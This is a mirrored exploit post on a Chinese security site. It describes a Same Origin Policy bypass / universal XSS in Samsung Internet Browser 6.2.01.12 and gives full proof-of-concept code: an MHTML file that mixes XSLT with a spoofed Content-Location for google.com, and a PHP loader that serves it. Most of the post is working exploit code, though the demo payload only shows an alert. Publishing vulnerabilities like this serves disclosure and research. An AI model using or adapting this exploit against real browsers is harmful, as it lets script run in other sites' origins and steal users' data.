首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Samsung Internet Browser 6.2.01.12 SOP Bypass / UXSS Vulnerabilities
来源:https://poctestblog.blogspot.co.uk 作者:JamesLee 发布时间:2018-01-04  
  
  
  
Samsung Internet Browser SOP Bypass/UXSS
  
There is a Same Origin Policy bypass / Universal Cross Site Scripting issue in Samsung Internet Browser (tested on latest version -  6.2.01.12).
  
First of all, using the combination of MHTML and XSLT ends up resulting in a weird interaction. When you create an empty Iframe via MHTML and give a normal header and combine MHTML with XSLT, the browser renders them and confuse as its origin is from a pre-instantiated empty iframe.  I hosted a quick Proof-Of-Concept page to test this vulnerability, please have a test on latest Samsung Internet browser (version - 6.2.01.12).
  
  
I attached a POC image below to show that Samsung Internet Browser says its origin is https://google.com and document.domain returns https://google.com while in reality we are in my test host domain.
  
Following is Proof Of Concept code, you need to upload .mht and .php file. When you visit .php file the exploit runs successfully and bypasses Same Origin Policy to achieve UXSS.
  
test.mht file content:
  
MIME-Version: 1.0
Content-Type: multipart/related;
 type="text/html";
 boundary="----MultipartBoundary--"
  
------MultipartBoundary--
Content-Type: application/xml;
  
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>
  
------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com
  
<script>alert('lol \n\n' + 'document.domain: \n' + document.domain)</script>
------MultipartBoundary----
  
  
  
  
  
test.php file content:
  
<?php
$filename=realpath("test.mht");
header( "Content-type: multipart/related");
readfile($filename);
?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel < 4.4.0-83 / < 4.
·Xplico Remote Code Execution
·Huawei Router HG532 - Arbitrar
·Linksys WVBR0-25 User-Agent Co
·Cambium ePMP1000 - 'get_chart'
·Kingsoft Antivirus/Internet Se
·Cambium ePMP1000 - 'ping' Shel
·Multiple CPUs - 'Spectre' Info
·HP Mercury LoadRunner Agent ma
·Iopsys Router - 'dhcp' Remote
·D3DGear 5.00 Build 2175 - Buff
·Western Digital WDMyCloud 'myd
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved